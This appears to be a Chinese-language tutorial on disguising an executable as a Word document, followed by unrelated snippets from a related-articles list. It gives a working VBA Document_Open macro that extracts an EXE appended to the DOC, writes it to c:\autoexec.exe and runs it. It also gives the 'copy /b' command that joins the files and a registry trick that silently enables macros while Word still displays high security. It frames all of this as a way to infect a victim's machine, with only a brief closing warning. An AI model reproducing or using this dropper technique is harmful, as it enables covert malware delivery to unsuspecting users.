这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!)
熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWS API!!下面我们来介绍一下我们编写这个宏需要用到的API函数:
1)CreateFile 用于打开文件,该函数VB的声明如下:
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
2)CloseHandle 用于关闭被打开文件的句柄,该函数VB的声明如下:
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
3)ReadFile 用于从被打开文件中读取数据,该函数VB的声明如下:
Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:
Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
5)SetFilePoniter移动文件指针,该函数VB的声明如下:
Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
6)下面是以上函数的参数声明
Public Const GENERIC_READ As Long = &H80000000
Public Const GENERIC_WRITE As Long = &H40000000
Public Const FILE_SHARE_READ As Long = 1
Public Const FILE_SHARE_WRITE As Long = 2
Public Const CREATE_NEW As Long = 1
Public Const CREATE_ALWAYS As Long = 2
Public Const OPEN_EXISTING As Long = 3
Public Const OPEN_ALWAYS As Long = 4
Public Const TRUNCATE_EXISTING As Long = 5
Public Const INVALID_HANDLE_VALUE As Long = -1
Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80
好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUAL BASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输入一下代码:
Private Sub Document_Open()
Dim buffer(65536) As Byte
Dim h, h2, j, i, k As Long
h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
‘以SHARE_READ的方式打开自身的DOC文件
h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)
‘新建一个EXE文件准备存放读取出来的数据.
If h = INVALID_HANDLE_VALUE Then
Exit Sub
End If
k = SetFilePointer(h, 32768, nil, 0)
‘把文件指针移动到DOC文件与EXE文件交界处.
Do
i = ReadFile(h, buffer(0), 65536, j, 0)
i = WriteFile(h2, buffer(0), j, j, 0)
Loop Until j < 65536
CloseHandle (h)
CloseHandle (h2)
Shell "c:\autoexec.exe"
‘运行EXE文件
End Sub
这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意!
大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:
copy /b xxxx.doc + xxxxx.exe newdoc.doc
这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:
HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的
Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?
如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!
这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心.
分享到:
相关推荐
四、exe 格式视频文件的插入方法 * 右单击要插入到的幻灯片,在弹出的快捷菜单中选择“超”,然后选择要插入的 EXE 视频文件。 五、rm、ra、rmvb 等视频文件的插入方法 * rm、rmvb 等视频文件可以通过格式转换...
这份文档,以DOC格式呈现,通常用于记录和追踪文件在不同部门之间的传递过程,以保证工作流程的顺畅进行。以下是关于文件传送程序单及其在管理中的应用的详细解释: 1. 文件管理基础:文件传送程序单是文件管理系统...
随着工业4.0的发展,工艺文件正逐步向数字化转变,如通过PLM(Product Lifecycle Management)系统进行电子化存储和管理,甚至与物联网(IoT)设备集成,实现实时数据交换和智能决策。 综上所述,工艺文件格式在...
在日常使用计算机的过程中,用户可能会遇到文档(如Word文档)或图片文件被病毒感染并转变成可执行文件(.exe格式)的情况。这种情况不仅可能导致文件无法正常打开,还可能对用户的计算机系统安全造成威胁。 #### *...
首先,我们需要在Vue.js组件中定义一个上传文件的方法。假设我们有一个名为`uploadFile`的变量,其中包含了要上传的文件数据。然后,我们可以使用axios的`post`方法来发送POST请求,并将文件数据传递给服务器端。 `...
文档标题和描述提到了"联想集团各类文件模板-各类文件模板-部门文件模板.doc",这表明这是一个关于联想集团内部使用的文件模板集合,主要用于规范各部门的文档格式和内容编写。文件可能包含了各种类型的模板,如通知...
扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...
8. 文件传阅单的发展趋势:文件传阅单的发展趋势是从纸质文件传阅单到电子文件传阅单的转变,以适应现代化办公和文件管理的需求。 9. 文件传阅单的安全性:文件传阅单的安全性是指对文件传阅单的保护和保密,以防止...
此文档以DOC格式呈现,通常由Microsoft Word软件创建,便于编辑和打印。 在公文传递单中,以下几个关键部分对于理解和操作至关重要: 1. **填写日期**:这是记录公文传递单创建或更新的时间,用于追踪文件处理的...
标题中的“AllToPdf”是一款专门用于转换Word文档到PDF格式的软件,它提供了一个简单易用的界面,使得用户可以方便快捷地进行文件格式转换。在IT领域,这种工具非常实用,因为Word文档和PDF文件各有优势,适应不同的...
然而,传统的二进制格式(如.doc、.xls、.ppt等)虽然在当时满足了许多需求,但在面对现代数据交换的需求时显得有些力不从心。 为了应对这一挑战,微软在2007版Office中引入了一种全新的文件格式——Office Open ...
这篇文档的主题是对贝氏体转变与珠光体转变和马氏体转变进行比较,重点关注它们在组织形态和转变特点上的异同。文档可能是针对金属材料学或冶金工程的专业论述。 【描述解析】: 描述部分简单地提到了文档的名称,...
### 知识点详解:点对点聊天文件传输系统 #### 开发背景与P2P概念解析 点对点(Peer-to-Peer,简称P2P)技术是一种颠覆传统网络架构,强调网络用户间直接通信与资源共享的模式。在P2P网络中,每个参与者既是服务的...
综合统计涵盖了公司的整体运营数据,如产品产量、技术经济指标和主要经济指标的计算方法。其职责包括制定统计管理程序、设计报表体系、管理统计数字质量、对外公布数据、组织统计会议、指导部门统计工作、协调计算机...
总结来说,doc2help是一款高效、便捷的工具,能够帮助IT专业人员将传统的Word用户手册转变为现代化的HTML帮助文档,以提升用户体验,同时简化了文档维护和更新的过程。在进行技术写作和文档管理时,了解并熟练使用...
7. **持续改进**:大区经理需不断学习和适应新的治理方法,通过有效的培训和激励机制,推动团队发展,实现从优秀到卓越的升级,助力公司实现全球市场的战略目标。 综上所述,TCL大区经理管理办法注重提升管理效能,...
TCL集团的办事处管理办法文件主要针对公司在快速发展中遇到的治理挑战,尤其是办事处在市场扩展中的角色转变和规范化管理的重要性。随着公司市场份额的增加,办事处不仅要作为市场业务平台,还要承担起市场经营治理...
这份文件以DOC模板格式提供,意味着它可以使用Microsoft Word或其他兼容DOC格式的文本编辑软件进行编辑和定制。在企业日常运营中,来访登记表是一个重要的组成部分,它有助于追踪和控制访问者的活动,防止未经授权的...
avi视频文件是最常见的视频格式之一,插入PPT的方法也最简单。首先,打开PowerPoint程序,翻开需要插入视频文件的幻灯片。然后,单击“插入”菜单,选择“影片和声音”子菜单,点击“文件中的影片”命令,选择需要...
这份文档是一个DOC格式的文件,意味着它可以用Microsoft Word或类似的文本处理软件打开和编辑。 在【部分内容】中,我们可以看到具体的调查问卷设计,主要涵盖了以下几个关键知识点: 1. **课程内容**:这是评估...